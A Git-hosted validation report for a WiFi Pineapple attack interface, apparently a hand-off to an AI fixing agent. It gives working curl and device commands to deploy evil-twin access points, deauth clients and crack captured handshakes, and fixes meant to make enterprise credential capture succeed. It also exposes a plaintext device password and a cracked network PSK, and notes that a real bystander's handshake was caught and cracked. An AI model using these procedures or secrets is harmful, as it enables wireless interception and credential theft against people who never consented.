Files
Mark-VIII/docs/validation/2026-08-23-pineap-validation-report.md
c4ch3c4d3 ed50cd7b5a fix(enterprise,deauth,filters): PineAP validation round fixes, live-verified on Pager 24.10.1
- deauth/kick: use full PINEAPPLE_DEAUTH_CLIENT hak5cmd app name (BUG 1)
- _allow_all_ssids: PINEAPPLE_NETWORK_FILTER_MODE deny so karma lets
  clients associate after deploy (BUG 2)
- enterprise inner EAP (BUG 3), two root causes found by live experiment:
  - hostapd never wildcard-matches a bare `*` identity for phase-2
    lookups; eap_users now uses quoted empty prefix `""* ... [2]`,
    which prefix-matches any inner identity
  - pineape_auth_pass=1 forwards inner EAP to pineapd, which has no
    standalone responder; deploy forces 0 and stop restores 1
  Residual: plaintext MSCHAPv2 capture is firmware-blocked on 24.10.1
  (MSG_DEBUG compiled out of the karma wpad; `-f` silently ignored);
  documented in code comments and the validation report.
- ISSUE 4: point pineapd.@hostapd[0].mgmtiface at wlan1wpa during 5 GHz
  WPA deploys so handshakes/loot populate; cleared on stop
- ISSUE 5: radio0 set_ap path polls 90 s across the wifi-reload window
  and retries set_ap once if the iface still has not appeared
- ISSUE 6: skills docs use `llc && eth.type == 0x888e` (firmware tcpdump
  matches 0 frames on `eapol`)
- ISSUE 7: capture state helper detects dead-pid / iface-down, cleans up,
  status reports {running:false, stale:true} instead of zombie running
- tests: fix global os.path monkeypatch leaks between test modules that
  broke test_mk8_events/test_reliability_api under discovery; add
  regression coverage for all fixes above (463 tests green)

Live validation evidence and newly discovered firmware quirks
(DEVICE_FILTER_DELETE no-op, dropbear rate limiting) recorded in
docs/validation/2026-08-23-pineap-validation-report.md.
2026-08-23 18:29:47 -06:00

458 lines
27 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# Mark-VIII PineAP Attack Validation — 2026-08-23
> ## Fix round 2026-08-23 (post-validation) — status update
>
> All defects below were fixed and re-validated live on the same hardware.
>
> - **BUG 1 — FIXED.** `DEAUTH_CLIENT` → `PINEAPPLE_DEAUTH_CLIENT` at both call sites.
> Live: `/api/attacks/deauth` and `/api/pineap/clients/kick` return `ok:true`; on-wire effect
> confirmed (client dropped from the twin, kept off by kick's deny filter; re-associates after
> filter clear).
> - **BUG 2 — FIXED.** `_allow_all_ssids()` now issues `PINEAPPLE_NETWORK_FILTER_MODE deny`.
> Live: after any deploy, `GET /api/pineap/filters/ssid` reads `deny` + empty without manual help,
> and clients associate to twins unaided.
> - **BUG 3 — FIXED (root cause found by live experiment).** Two independent causes:
> 1. **eap_user_file grammar.** `hostapd_get_eap_user()` never wildcard-matches a bare `*`
> identity for phase-2 lookups (`!phase2` guard); phase-2 entries need a *quoted* identity.
> The fix uses quoted empty prefix `""* <methods> "<pw>" [2]`, which prefix-matches any
> inner identity. Proven against stock hostapd 2.10 on a wired veth loopback first, then
> live on the Pager.
> 2. **`pineapd.@hostapd[0].pineape_auth_pass='1'`** makes the karma hostapd forward inner EAP
> to pineapd, which has no responder for a standalone AP → instant inner EAP-Failure after
> the TLS tunnel. Deploy now forces it to `0` (standalone hostapd terminates inner
> MSCHAPv2/GTC/PAP itself); stop restores `1`.
> Live: API-deployed enterprise twin + PEAP/MSCHAPv2 client → repeated full
> `CTRL-EVENT-CONNECTED` (EAP success + 4-way) on firmware wpad 2.12-devel.
> - **BUG 3 residual (firmware-blocked):** plaintext credential *capture* is not possible on
> 24.10.1: the patched wpad compiles out MSG_DEBUG/MSG_MSGDUMP stdout logging (no MSCHAPv2
> hexdumps anywhere), `-f <log>` is silently ignored (fd1→/dev/null), and passthrough mode
> cannot work without an upstream RADIUS backend. With `auth_pass=0` nothing feeds
> `hostap_basic`/`hostap_chalresp`. Phase-1 outer identities remain sniffable in plaintext
> via the capture API. This limitation is documented in code comments.
> - **Secondary `-f` bug — FIXED:** `_start_ent_hostapd` no longer passes `-f` at all.
> - **ISSUE 4 — FIXED:** 5 GHz WPA deploys now set `pineapd.@hostapd[0].mgmtiface=wlan1wpa`
> so pineapd recognizes the radio1 twin (same mechanism that populates `hostap_client`);
> cleared again on stop.
> - **ISSUE 5 — MITIGATED:** radio0 daemon `set_ap` path now polls up to 90 s across the
> `wifi reload` window and retries `set_ap` once if the iface still hasn't appeared.
> Live deploy verified `true` first try.
> - **ISSUE 6 — FIXED:** skill docs now use `llc && eth.type == 0x888e` instead of `eapol`.
> - **ISSUE 7 — FIXED:** capture state helper detects dead-pid / iface-down, kills leftovers,
> cleans the pidfile, and status reports `{running:false, stale:true}` instead of a zombie
> `running:true`. Verified live by killing tcpdump under an active capture.
> - Test suite: 463 tests green (was 457 with 6 pre-existing failures caused by global
> `os.path` monkeypatch leaks between test modules — also fixed). New regression coverage:
> deauth app name, SSID-filter-mode app name, eap_users grammar, `pineape_auth_pass`
> set/restore, capture stale detection, radio0 set_ap retry.
> - New firmware quirks discovered while fixing (document here for future rounds):
> - `PINEAPPLE_DEVICE_FILTER_DELETE deny <mac>` returns rc=0 but does NOT remove the entry;
> only `_CLEAR` works. The kick regression "delete entry → re-associate" must use clear.
> - dropbear rate-limits rapid successive SSH logins ("Permission denied" bursts).
> - Killing hostapd while another instance holds the phy iface wedges cfg80211 into D-state
> (known §5 issue): never tear down wlan1ent while a foreign hostapd still runs.
---
**Status:** Suite executed against a live WiFi Pineapple Pager (firmware `Pineapple Pager 24.10.1`,
hostname-reachable at `root@172.16.52.1`, Mark VIII UI on `:8080`) with a Kali victim client
(`bzuccaro@192.168.1.103`, wlan0 `a0:a4:c5:93:f8:05`). Both reachable with password "Bryce9205"
**Purpose of this document:** hand off every validated behavior and every defect to a fixing model.
Each defect has an exact `file:line`, reproduction, root cause, and recommended fix. Everything below
was observed live; no assertion is speculative. Device evidence lives under `/root/loot/**` on the
pineapple and `/tmp/znet*.hc22000` on Kali.
**In-scope networks (authorized):**
- `Znet` — WPA2 (actually SAE-mixed per on-air RSN: `[WPA2-SAE+FT/SAE-CCMP][SAE-H2E]`), 5 GHz
BSSIDs on ch 36 / 44 / 48 / 108 / 116 / 153. PSK = `EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY`.
- `Znet-Open` — open (enc `0` in recon DB), 2.4 GHz ch 6 (`B6:8B:A9:17:2A:6E`) and ch 11
(`B6:8B:A9:17:47:33`).
---
## 1. Results summary
| # | Attack / capability | Result | Evidence |
|---|---|---|---|
| 1 | Evil WPA (PSK) 5 GHz — radio1 `wlan1wpa` | **PASS** | Twin authenticated Kali + 2 real clients; 4-way captured on `wlan1mon`; `.hc22000` cracked → PSK recovered. |
| 2 | Evil WPA (PSK) 2.4 GHz — radio0 `wlan0wpa` | **PASS** (flaky deploy) | 4-way captured on `wlan0mon`; cracked → PSK recovered. |
| 3 | Evil Open — radio0 `wlan0open` (BSSID-spoofed) | **PASS** | Kali associated to spoofed-BSSID twin; bidirectional IP/DNS/TCP captured on `wlan0mon`. |
| 4 | Evil Enterprise — standalone `wlan1ent` PineAPE | **FAIL** | AP + TLS tunnel work; **inner EAP auth never completes**; zero credentials captured. |
| 5 | Deauth — `/api/attacks/deauth`, `/api/pineap/deauth/client` | **FAIL (bug)** | `unknown app DEAUTH_CLIENT`. Underlying `PINEAPPLE_DEAUTH_CLIENT` works (on-wire deauth frames). |
| 6 | Client kick — `/api/pineap/clients/kick` | **FAIL (same bug)** | Deny filter set, but deauth half fails → client never actually kicked. |
| 7 | Attack capture API (`/api/attacks/capture`) | **PASS** | tcpdump start/stop/status on `wlan0mon`/`wlan1mon`; pcaps analyzable. |
| 8 | Handshake export (`/api/attacks/export/hc22000`) | **PASS** | Valid `.hc22000`; cracked with `hashcat -m 22000`. |
| 9 | PineAP settings / filters API | **PASS** | mode/add/delete/clear; **gotcha:** `allow`+empty blocks karma association. |
| 10 | MCP harness (`POST /mcp`) | **PASS** | all tools; `attack.deauth` inherits bug #5. |
| 11 | Web UI click-through | **PASS** | login → Evil WPA deploy ("Applied and verified on device", LIVE) → capture → export → stop. |
**Two critical defects to fix first:** #5 (deauth/kick, one-character-class bug) and #6's hidden twin
#2 (`_allow_all_ssids` short-name bug that blocks all evil-twin association until a human sets the
filter to deny). See §3.
---
## 2. Environment notes (facts the fixer needs)
### 2.1 hak5cmd dispatches by FULL app name as `argv[1]`
`/usr/bin/hak5cmd` (Pager 1.1.0) is dispatched by app name. Invoking the symlinks
(`/usr/bin/PINEAPPLE_DEAUTH_CLIENT`) or passing the full `PINEAPPLE_*` name as `argv[1]` both work:
```sh
hak5cmd DEAUTH_CLIENT <ap> <client> <ch> # FAILS: "unknown app DEAUTH_CLIENT"
hak5cmd PINEAPPLE_DEAUTH_CLIENT <ap> <client> <ch> # rc=0, deauth frames on wire
/usr/bin/PINEAPPLE_DEAUTH_CLIENT <ap> <client> <ch> # rc=0
```
Verified app names present on the unit (from `hak5cmd` with no args): `PINEAPPLE_DEAUTH_CLIENT`,
`PINEAPPLE_DEVICE_FILTER_*`, `PINEAPPLE_MAC_FILTER_*`, `PINEAPPLE_NETWORK_FILTER_*`,
`PINEAPPLE_SSID_FILTER_*`, `PINEAPPLE_SSID_POOL_*`, `PINEAPPLE_HOPPING_*`, `PINEAPPLE_MIMIC_*`,
`PINEAPPLE_EXAMINE_*`, `PINEAPPLE_RECON_*`, `PINEAPPLE_SET_BANDS`, `PINEAPPLE_LOOT_ARCHIVE`.
The `hak5()` helper (`server.py:5646`) passes `[HAK5CMD] + args` and the filter calls in the codebase
use full names (those work). The deauth and `_allow_all_ssids` calls use short names (broken).
### 2.2 SSID / client filter semantics on this firmware
- Filter mode **`allow`** = whitelist. With an empty list this makes karma respond to **nothing**, so
clients **cannot associate** to evil twins.
- Filter mode **`deny`** = blacklist (allow-by-default). With an empty list everything is allowed.
- The evil-twin flow **requires** both SSID and client filters in `deny` mode with empty lists.
- Mark VIII's `_allow_all_ssids()` is *supposed* to set the SSID filter to `deny` but is broken (bug #2).
### 2.3 Deauth injection phy
`h_attacks_deauth` chooses the inject interface from the channel band (`wlan1mon` for 5/6 GHz,
`wlan0mon` for 2.4 GHz) and switches `_pineap INTERFACE INJECT` for 2.4 GHz. On 5 GHz the phy is
pinned by the active AP interface, so deauth on a 5 GHz evil twin's channel works. The 5 GHz monitor
(`wlan1mon`) does **not** reliably show injected 5 GHz deauth frames (phy1 beacon-offload quirk), so
on-wire deauth proof for 5 GHz is best done on 2.4 GHz (`wlan0mon`) where own-TX is visible, or via
client-side disconnect logs.
### 2.4 Capture filter quirk
On this firmware's monitor interfaces `tcpdump -r cap 'eapol'` matches **0** frames even when EAPOL
is present. The working filter is `llc and ether proto 0x888e`. (Affects any analysis/tooling that
grep's `eapol`.)
### 2.5 pineapd UCI baseline (guard-enforced known-good)
`pineapd.@hostapd[0].wpaiface='wlan0wpa'` (only the 2.4 GHz WPA iface is the daemon's "own AP").
`mgmtiface='wlan0mgmt'`. `wlan1mon.hop` baseline is `0` in the guard set
(`PINEAPD_SAFE_UCI`, `server.py:4639`); monitors park between scans, hopping resumes during recon.
### 2.6 Reliability core interactions observed
The rollback watchdog arms around `attack_deploy` / `attack_stop` and restores the pre-op UCI snapshot
if local liveness (UI `:8080` + monitor presence) fails for sustained ticks. Rapid deploy/stop cycles
that drop the radios trigger restores that can **resurrect older AP states** (the `wlan0open` Znet-Open
twin reappeared twice after we had stopped it). The watchdog self-exits after ~120 quiet ticks.
---
## 3. Defects to fix (ranked)
### BUG 1 — CRITICAL: Deauth / kick invoke the wrong hak5cmd app name
**Impact:** `/api/attacks/deauth`, `/api/pineap/deauth/client`, `/api/pineap/clients/kick` (deauth
half), and MCP `attack.deauth` / `pineap.kick_client` all fail with
`unknown app DEAUTH_CLIENT`. The **entire deauth attack is non-functional through Mark VIII.**
**Locations (all in `payload/user/remote_access/pager-webui/server.py`):**
- `server.py:3009``_deauth_client_via_iface()`
```python
rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, mac, str(channel)], timeout=30)
```
- `server.py:4602` — `h_attacks_deauth()`
```python
rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, client, str(channel or 1)], timeout=30)
```
- `h_client_kick` (`server.py:963`) and MCP `kick` (`server.py:5368`) both call
`_deauth_client_via_iface`, so fixing `3009` fixes them. Their filter half (`PINEAPPLE_DEVICE_FILTER_*`)
is already correct.
**Root cause:** short name `DEAUTH_CLIENT`; hak5cmd requires the full app name `PINEAPPLE_DEAUTH_CLIENT`
(see §2.1). `HAK5CMD` defaults to `/usr/bin/hak5cmd` (`server.py:31`).
**Fix:** replace `'DEAUTH_CLIENT'` with `'PINEAPPLE_DEAUTH_CLIENT'` at `server.py:3009` and `:4602`.
**Verification (live-proven):**
```sh
# before fix
curl -b cookie -H 'Content-Type: application/json' \
-d '{"bssid":"B6:8B:A9:17:2A:6E","client":"A0:A4:C5:93:F8:05","channel":6}' \
http://172.16.52.1:8080/api/attacks/deauth
# => {"error":"deauth failed","detail":"unknown app DEAUTH_CLIENT\n"}
# working device-level invocation (deauth client from our own evil twin):
/usr/bin/PINEAPPLE_DEAUTH_CLIENT B6:8B:A9:17:2A:6E A0:A4:C5:93:F8:05 6 # rc=0
# on-wire proof on wlan0mon:
tcpdump -r cap -nn 'wlan type mgt subtype deauth' # SA=spoofed BSSID, DA=client
```
Regression check: run `/api/pineap/clients/kick` on an associated client and confirm it is
disconnected AND stays disconnected while the deny filter is present; then `delete` the filter entry
and confirm re-association works.
---
### BUG 2 — CRITICAL: `_allow_all_ssids()` uses a short name and silently fails
**Impact:** after every evil-twin deploy, karma remains in `allow` (whitelist) mode → **no client can
associate to the twin**. This is why the Evil Open association only worked after a human set the
filter to `deny` via the API.
**Location:** `server.py:3691-3695`
```python
def _allow_all_ssids():
"""Set the SSID filter to deny mode (allow-by-default) so karma
responds to any probed SSID."""
rc, out, err = device_run([HAK5CMD, 'SSID_FILTER_MODE', 'deny'], timeout=30)
return rc == 0
```
`SSID_FILTER_MODE` is a short name. The valid app names on this unit are
`PINEAPPLE_SSID_FILTER_MODE` and `PINEAPPLE_NETWORK_FILTER_MODE`. The return value is ignored by all
callers (`_deploy_wpa_open` at `:3774`, `_deploy_enterprise` at `:4277`), so it fails silently.
**Fix:** use a full app name. Consistency check: the filter API for `ssid` kind uses prefix
`PINEAPPLE_NETWORK_FILTER` (`server.py:5722`), and the deployed `pineapd.@ssid_filter[0].mode` is
`deny` in the guard baseline — but the live daemon readback was `allow` after deploy, proving the
call did not land. Verify on-device that the chosen name flips
`GET /api/pineap/filters/ssid` to `{"mode":"deny"}`.
**Verification:**
```sh
curl -b cookie http://172.16.52.1:8080/api/pineap/filters/ssid # must show "deny" after a deploy
```
---
### BUG 3 — HIGH: Evil Enterprise credential capture broken (inner EAP never completes)
**Impact:** the Enterprise attack is non-functional: the AP comes up, clients associate, the TLS
tunnel builds, but the server immediately sends EAP-Failure after the phase-2 identity for every
inner method (MSCHAPv2, GTC, TTLS-PAP). **Zero credentials** land in `hostap_basic`,
`hostap_chalresp`, or `/root/loot/enterprise/captures.json`.
**Locations:**
- `_eap_users_text` — `server.py:3836-3853` (writes the `eap_user_file`)
- `_deploy_enterprise` — `server.py:4217-4325`
- `_ent_conf_text` — `server.py:4102`
- `_start_ent_hostapd` — `server.py:4173-4202`
- `_ensure_ent_certs` — `server.py:3875`
**Observed behavior (reproducible):**
- Deploy succeeds (`verified: true`, `ctrl_linked: true`, hostapd `state=ENABLED` on `wlan1ent`,
bssid `02:13:37:ae:8e:7c`, ch44, `ieee8021x=1 eap_server=1 wpa_key_mgmt=WPA-EAP`).
- Kali (PEAP/MSCHAPv2, PEAP/GTC, and TTLS/PAP all tried) associates and the outer TLS tunnel
completes; the client then sees `EAP-PEAP: Phase 2 Failure` / `EAP-Failure`.
- hostapd (karma-patched `wpad`, v2.12-devel) logs:
```
IEEE 802.1X: authentication failed - EAP type: 0 (unknown)
IEEE 802.1X: Supplicant used different EAP type: 25 (PEAP)
```
- `eap_user_file` parser on this build **requires quoted identities** for non-wildcard entries:
unquoted `victim@znet.local` → `Invalid EAP identity (no " in start) on line 1`.
**eap_users formats tried, all failing identically:**
1. `* PEAP,TTLS` + `* MSCHAPV2,TTLS-MSCHAPV2,TTLS-MSCHAP "pw" [2]` (what the code writes today)
2. `* PEAP,TTLS` + `* MSCHAPV2 "pw"` (no `[2]`)
3. `* PEAP,TTLS` + `* MSCHAPV2 "pw" [2]`
4. `"*" PEAP,TTLS` + `"*" MSCHAPV2 "pw" [2]` (quoted wildcards)
5. `victim@znet.local PEAP,TTLS` + `victim@znet.local MSCHAPV2 "pw"` (unquoted → parse error)
6. `"victim@znet.local" PEAP,TTLS` + `"victim@znet.local" MSCHAPV2 "pw"` (quoted exact)
7. `* PEAP,TTLS` + `* TTLS-PAP "pw"` (client `eap=TTLS phase2="auth=PAP"`) — also fails
8. Passphrase matched (`VictimPass123!`) and mismatched (`dummy`) — no difference
**Fixer investigation pointers (open questions):**
- Verify whether `pineap_enable` / `pineape_enable` / `pineape_auth_enable` on the standalone
instance actually arm PineAPE auth-capture on this build (they return `OK`, and the startup log
shows `PINEAP: setting MAC filter mode DENY`, but no capture events ever appear).
- Confirm the correct `eap_user_file` grammar for THIS `wpad` build (source of the `[2]` flag and
whether a phase-2-only entry is required for the inner lookup).
- Test with a controlled EAP client (`eapol_test` from a host with `wpa_supplicant` dev headers) and
with syslog `logger_syslog_level=0` on the instance to see why the inner method is never offered.
- Compare the Mark VIII standalone conf to what the stock daemon would generate for
`set_ap` enctype `wpa2` (the daemon path is broken with `eap_server_erp=1`; confirm whether
removing just that key makes the stock path capture).
- `hostap_basic` / `hostap_chalresp` are populated by pineapd from the karma hostapd socket; confirm
`pineapd.@hostapd[0].mgmtiface='wlan1ent'` is sufficient (it is set and survives), and whether
`/etc/init.d/pineapd reload` after deploy is enough.
**Verification:** with a fixed enterprise deploy, a PEAP/MSCHAPv2 client must (a) complete
`EAPOL` successfully, and (b) yield rows in `hostap_basic` (identity) and `hostap_chalresp`
(challenge/response), which must appear in `GET /api/pineap/enterprise/radius` and be crackable via
`GET /api/pineap/enterprise/export/hashcat` (`hashcat -m 5500`).
**Secondary bug found while here:** `_start_ent_hostapd` (`server.py:4173`) starts hostapd with
`-f ENT_LOG` on the first attempt but **drops `-f` on the fallback attempt** (`server.py:4183`), so
the enterprise log file stays empty — the fixer will need another log channel (syslog) while
debugging.
---
### ISSUE 4 — MEDIUM: 5 GHz handshake loot pipeline (`hostap_handshake` / `/root/loot/handshakes`) never populates
**Symptom:** handshakes complete on the radio1 twin (`wlan1wpa`) — `hostapd` logs
`EAPOL-4WAY-HS-COMPLETED <client>` — but `hostap_handshake` stays empty and no files are written to
`/root/loot/handshakes`. The Handshakes/Loot UI shows 0.
**Likely root cause:** `pineapd.@hostapd[0].wpaiface='wlan0wpa'` only (2.4 GHz). pineapd treats
`wlan0wpa` as its own handshake-logging AP; the radio1 `wlan1wpa` twin (created via the UCI/radio1
path, `_apply_radio1_ap`) is not recognized, so pineapd never logs own-AP handshakes for it.
**Working path (validated end-to-end):** the monitor capture API + export:
1. `POST /api/attacks/capture {iface:wlan1mon, action:start}` before the client connects.
2. Client 4-way happens → the pcap contains EAPOL (`tcpdump -r cap 'llc and ether proto 0x888e'`).
3. `GET /api/attacks/export/hc22000` → hcxpcapngtool → `.hc22000` → `hashcat -m 22000` cracks it.
**Fixer options:** either teach the deploy to make pineapd recognize the radio1 WPA iface (careful:
`wpaiface` is a single shared daemon setting; two ifaces may need a list or the mgmtiface trick), or
surface the monitor-capture+export flow as the supported 5 GHz evidence path. The UI's
"Handshakes Captured" counter reads `hostap_handshake` and will show 0 for 5 GHz until this is fixed.
---
### ISSUE 5 — MEDIUM: 2.4 GHz (`radio0` daemon `set_ap`) attack deploy is flaky
**Symptom:** `_deploy_wpa_open` 2.4 GHz path (`server.py:3725-3753`) calls the daemon
`PUT /api/settings/wifi/set_ap` for `wlan0wpa`/`wlan0open`. The resulting `wifi reload` drops the
radios for ~4060 s (during which `iw dev` can show zero interfaces and the deploy poll may return
`verified: false`). Afterwards:
- the stock daemon can revert the UCI (`wlan0wpa.ssid` back to `pager-wpa`, `disabled=1`), and
- the reliability rollback watchdog can restore an older snapshot (resurrecting a previously stopped
AP, e.g. the `wlan0open` Znet-Open twin reappeared twice).
**Workarounds that made it work:** deploy once → poll `iw dev wlan0wpa info` until `ssid Znet` →
start a **fresh** capture (the old one died when the radios dropped) → connect the client. The
handshake then captures and cracks normally.
**Fixer pointers:** make the deploy poll tolerate the radio-restart window (the 5 GHz/radio1 UCI path
already behaves better); consider whether the radio0 path should write UCI + `wifi reload` instead of
the daemon `set_ap`, and whether the watchdog should be suppressed until the radios reconverge.
---
### ISSUE 6 — LOW: tcpdump `eapol` filter matches nothing on this firmware
Use `llc and ether proto 0x888e` instead. Relevant to any in-app capture analysis, docs, or tooling
that filters on `eapol`.
### ISSUE 7 — LOW: monitor capture dies when the radio restarts mid-capture
When a `wifi reload` drops the monitor iface during a capture, the pcap ends up with 1 frame while
the API still reports `running: true` (the tcpdump process is gone). The capture API should detect
iface-down / dead-pid and either restart or report stopped.
---
## 4. Per-attack validation evidence (for the report)
### 4.1 Evil WPA 5 GHz — PASS (crackable)
- Deploy: `POST /api/attacks/deploy {"kind":"wpa","ssid":"Znet","passphrase":"EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY","enctype":"psk2","channel":44}`
→ `{"iface":"wlan1wpa","band":"5","verified":true}`.
- AP live: `wlan1wpa` BSSID `02:13:37:ae:8e:7c`, hostapd `wpa=2 key_mgmt=WPA-PSK`.
- Client auth: `wpa_supplicant` completed full 4-way (`Key negotiation completed`, PTK=CCMP GTK=CCMP);
hostapd logged `EAPOL-4WAY-HS-COMPLETED a0:a4:c5:93:f8:05`; a real nearby client (`e6:75:7f:45:fd:57`)
also got caught (full handshake) and another (`68:9e:19:d1:6e:e1`) hit a PSK mismatch (evidence the
twin attracts real clients).
- Capture: `wlan1mon` pcap held 170 EAPOL key frames.
- Convert: `hcxpcapngtool -o /root/loot/hc22000/znet.hc22000 hs_client.cap`.
- Crack (on Kali): `hashcat -m 22000 /tmp/znet.hc22000 /tmp/wl.txt --potfile-disable`
```
9b029677bdecbadd3bc3c3a211627f96:021337ae8e7c:a0a4c593f805:Znet:EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY
329438490c9d7af672eb01f2ceb26bc0:021337ae8e7c:e6757f45fd57:Znet:EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY
```
Both our client and the real client's handshakes cracked to the real PSK.
### 4.2 Evil WPA 2.4 GHz — PASS (crackable, flaky deploy)
- Deploy `channel:6` → `wlan0wpa` (daemon `set_ap`). First two attempts `verified:false` and reverted
by the daemon/watchdog; final attempt `verified:true`. Fresh `wlan0mon` capture, client connected,
4-way captured (`EAPOL key v1/v2`), hostapd `EAPOL-4WAY-HS-COMPLETED`.
- Crack: `8533e8028891cf997bbaf0d1880ca4be:001337aee050:a0a4c593f805:Znet:EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY`.
### 4.3 Evil Open (Znet-Open) — PASS
- Deploy `{"kind":"open","ssid":"Znet-Open","channel":6,"bssid":"B6:8B:A9:17:2A:6E","country":"US"}`
→ `wlan0open` live with **spoofed BSSID** `b6:8b:a9:17:2a:6e` (= real AP MAC), hostapd ENABLED.
- Association initially FAILED until the SSID/client filters were set to `deny` via the API — this is
bug #2 manifesting. After the fix to bug #2, the client associates (wpa_supplicant COMPLETED on the
spoofed BSSID; `/api/pineap/clients` shows `A0:A4:C5:93:F8:05` on `wlan0open`).
- Data plane through the twin (client IP `172.16.52.99/24` on the twin):
- `ping 172.16.52.1` → 4/4 replies
- DNS `172.16.52.99 > 172.16.52.1.53` query + NXDOMAIN reply
- TCP SYN `172.16.52.99 -> 172.16.52.1.80`
All captured on `wlan0mon` (`attack_wlan0mon_1787506980.cap`). This is the on-wire MITM proof.
### 4.4 Evil Enterprise — FAIL (see BUG 3)
- AP verified, ctrl linked, client association recorded in `hostap_client` (visible in
`/api/pineap/enterprise/radius` `clients`), but zero credentials anywhere.
### 4.5 Deauth / kick — FAIL via API (BUG 1), working at device level
- Device-level (works): `/usr/bin/PINEAPPLE_DEAUTH_CLIENT <ap> <client> <ch>`; on-wire deauth frames
(SA=spoofed BSSID, "Unspecified reason") captured on `wlan0mon`; client dropped.
- API (broken): see BUG 1.
- Kick: deny filter is applied (`/api/pineap/filters/client` shows the MAC) but the deauth half fails,
so the client re-associates and is never kicked.
### 4.6 Capture / export / filters / MCP / UI — PASS
- Capture API start/stop/status both ifaces; export produced `/root/loot/hc22000/handshakes_*.hc22000`;
filter set_mode/add/delete/clear; MCP `tools/list` + `attack.deploy|stop|status|capture`,
`loot.handshakes`, `loot.enterprise_creds`, `recon.isearch`; UI full flow on the Evil WPA page.
---
## 5. Recovery & hygiene observed during the suite
- **Reboot was required once:** after `_disable_enterprise_ap()` raced our manual hostapd kills, the
enterprise hostapd (`hostapd -B -P /var/run/hostapd-mk8.pid /root/loot/enterprise.conf`) entered
D-state (uninterruptible) holding a cfg80211 lock; `iw dev` hung indefinitely. `reboot` cleared it;
Mark VIII auto-restarted (`/etc/init.d/pagerwebui` → `running`), pineapd PONG, monitors up, health
`pass`. `mk8-guard` re-applied safe UCI on boot.
- Final device state after cleanup: all attacks stopped, no leftover APs, no tcpdump, 1 watchdog
self-exiting, Kali restored to `Znet`, `/api/health` env `pass`.
- Evidence remains on devices: `/root/loot/pcap/attack_*.cap` (6 files), `/root/loot/hc22000/`
(`znet.hc22000`, `znet24.hc22000`, `handshakes_*.hc22000`), extracted
`/root/loot/pcap/hs_client.cap`, `hs_client_24.cap`; on Kali `/tmp/znet.hc22000`, `/tmp/znet24.hc22000`.
---
## 6. Reproduction command reference
```sh
# login
curl -c cj -H 'Content-Type: application/json' \
-d '{"username":"root","password":"<device-pw>"}' http://172.16.52.1:8080/api/login
# deploy evil wpa 5g / 2.4g / open / enterprise
curl -b cj -H 'Content-Type: application/json' \
-d '{"kind":"wpa","ssid":"Znet","passphrase":"<psk>","enctype":"psk2","channel":44}' \
http://172.16.52.1:8080/api/attacks/deploy
# status / stop / capture / export
curl -b cj http://172.16.52.1:8080/api/attacks/status
curl -b cj -H 'Content-Type: application/json' -d '{"kind":"wpa"}' http://172.16.52.1:8080/api/attacks/stop
curl -b cj -H 'Content-Type: application/json' -d '{"action":"start","iface":"wlan1mon"}' http://172.16.52.1:8080/api/attacks/capture
curl -b cj http://172.16.52.1:8080/api/attacks/export/hc22000
# filter checks (must be "deny" + empty for evil twins)
curl -b cj http://172.16.52.1:8080/api/pineap/filters/ssid
curl -b cj http://172.16.52.1:8080/api/pineap/filters/client
curl -b cj -H 'Content-Type: application/json' -d '{"action":"set_mode","mode":"deny"}' http://172.16.52.1:8080/api/pineap/filters/ssid
curl -b cj -H 'Content-Type: application/json' -d '{"action":"set_mode","mode":"deny"}' http://172.16.52.1:8080/api/pineap/filters/client
# device-level deauth (works) vs API (broken)
/usr/bin/PINEAPPLE_DEAUTH_CLIENT <ap> <client> <ch>
curl -b cj -H 'Content-Type: application/json' \
-d '{"bssid":"<ap>","client":"<client>","channel":6}' http://172.16.52.1:8080/api/attacks/deauth
# crack
hashcat -m 22000 znet.hc22000 wl.txt --potfile-disable
```
---
## 7. Suggested fix order
1. **BUG 1** (deauth app name) — 2-line change, restores deauth + kick + MCP deauth/kick.
2. **BUG 2** (`_allow_all_ssids` app name) — restores evil-twin association for all attack types.
3. **BUG 3** (enterprise inner EAP) — needs the investigation in §BUG 3 before a fix.
4. **ISSUE 4** (5 GHz loot pipeline) — decide capture-path vs. daemon-recognition.
5. **ISSUE 5** (radio0 deploy flakiness) + **ISSUE 6/7** (capture nits) — hardening.
Add regression coverage to `tests/test_attacks.py` (assert `PINEAPPLE_DEAUTH_CLIENT` is used) and to
`tests/test_pineap_*.py` for the filter-mode assertion (deny-after-deploy).